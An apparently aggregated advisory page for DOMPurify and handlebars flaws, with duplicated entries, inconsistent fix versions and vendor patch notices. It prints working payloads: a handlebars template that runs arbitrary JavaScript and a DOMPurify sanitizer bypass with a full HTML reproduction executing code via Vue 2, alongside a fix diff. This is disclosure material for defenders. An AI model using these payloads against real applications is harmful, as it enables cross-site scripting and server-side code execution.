CVE-2026-41239

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.

Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

The following template can be used to demonstrate the vulnerability:

	{{#with split as |a|}}
		{{pop (push "alert('Vulnerable Handlebars JS');")}}
		{{#with (concat (lookup join (slice 0 1)))}}
			{{#each (slice 2 3)}}
				{{#with (apply 0 a)}}
					{{.}}
				{{/with}}
			{{/each}}
		{{/with}}
	{{/with}}
{{/with}}```


## Recommendation

Upgrade to version 3.0.8, 4.5.2 or later.

Summary

| Field | Value | |:------|:------| | Severity | Medium | | Affected | DOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db) |

SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.

Technical Details

DOMPurify strips template expressions in two passes:

1. Per-node — each text node is checked during the tree walk (purify.ts:1179-1191):

// pass #1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
  content = currentNode.textContent;
  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -> ' '
  content = content.replace(ERB_EXPR, ' ');        // <%...%> -> ' '
  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -> ' '
  currentNode.textContent = content;
}

2. Final string scrub — after serialization, the full HTML string is scrubbed again (purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.

The RETURN_DOM path returns before pass #2 ever runs (purify.ts:1637-1661):

// purify.ts (simplified)

if (RETURN_DOM) {
  // ... build returnNode ...
  return returnNode;        // <-- exits here, pass #2 never runs
}

// pass #2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;

The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:

1. Parser creates: TEXT("{") → <foo> → TEXT("{payload}") → <foo> → TEXT("}") — no single node contains {{, so pass #1 misses it
2. <foo> is not allowed, so DOMPurify removes it but keeps surrounding text
3. The three text nodes are now adjacent — .outerHTML reads them as {{payload}}, which Vue 2 compiles and executes

Reproduce

Open the following html in any browser and alert(1) pops up.

<!DOCTYPE html>
<html>

<body>
  <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.min.js"></script>
  <script>
    var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
    document.body.appendChild(dom.firstChild);
    new Vue({ el: '#app' });
  </script>
</body>

</html>

Impact

Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.

Recommendations

Fix

normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.

     if (RETURN_DOM) {
+      if (SAFE_FOR_TEMPLATES) {
+        body.normalize();
+        let html = body.innerHTML;
+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+          html = stringReplace(html, expr, ' ');
+        });
+        body.innerHTML = html;
+      }
+
       if (RETURN_DOM_FRAGMENT) {
         returnNode = createDocumentFragment.call(body.ownerDocument);

Versions of handlebars prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.

Recommendation

For handlebars 4.1.x upgrade to 4.1.2 or later. For handlebars 4.0.x upgrade to 4.0.14 or later.

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.

TuxCare rebuilt handlebars to address 1 CVE. Fixed in 1.3.0-tuxcare.1.

TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 1.0.12-tuxcare.2.

TuxCare rebuilt dompurify to address 6 CVEs. Fixed in 3.1.6-tuxcare.3.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.3-tuxcare.1.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.3-tuxcare.1.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.0-tuxcare.1.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.7-tuxcare.1.

TuxCare rebuilt dompurify to address 16 CVEs. Fixed in 2.4.0-tuxcare.1.

TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 2.4.3-tuxcare.1.

TuxCare rebuilt dompurify to address 14 CVEs. Fixed in 2.4.7-tuxcare.1.

TuxCare rebuilt dompurify to address 34 CVEs. Fixed in 3.0.3-tuxcare.1.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.7-tuxcare.1.

TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 2.3.0-tuxcare.5.

TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 2.4.3-tuxcare.8.

TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 2.5.8-tuxcare.7.

TuxCare rebuilt dompurify to address 5 CVEs. Fixed in 3.3.3-tuxcare.2.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.6-tuxcare.2.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 2.0.8-tuxcare.3.

TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 2.3.3-tuxcare.3.

TuxCare rebuilt dompurify to address 13 CVEs. Fixed in 2.3.10-tuxcare.3.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.1-tuxcare.3.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.2-tuxcare.3.

TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.0.8-tuxcare.3.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.0.9-tuxcare.3.

TuxCare rebuilt dompurify to address 7 CVEs. Fixed in 3.0.11-tuxcare.3.

TuxCare rebuilt dompurify to address 6 CVEs. Fixed in 3.1.0-tuxcare.3.

TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.3-tuxcare.3.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.1.2-tuxcare.3.

TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 3.1.1-tuxcare.3.

TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.4-tuxcare.3.

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.0.6-tuxcare.8.

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.0.4-tuxcare.5.

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.0.5-tuxcare.5.

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

Root has patched CVE-2026-41239 in the dompurify package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-2cf5-4w76-r9qv in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-g9r4-xpmj-mj65 in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-q2c6-c6pm-g3gh in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-q42p-pg8m-cqh6 in the handlebars package for Root:npm. Multiple fixed versions available.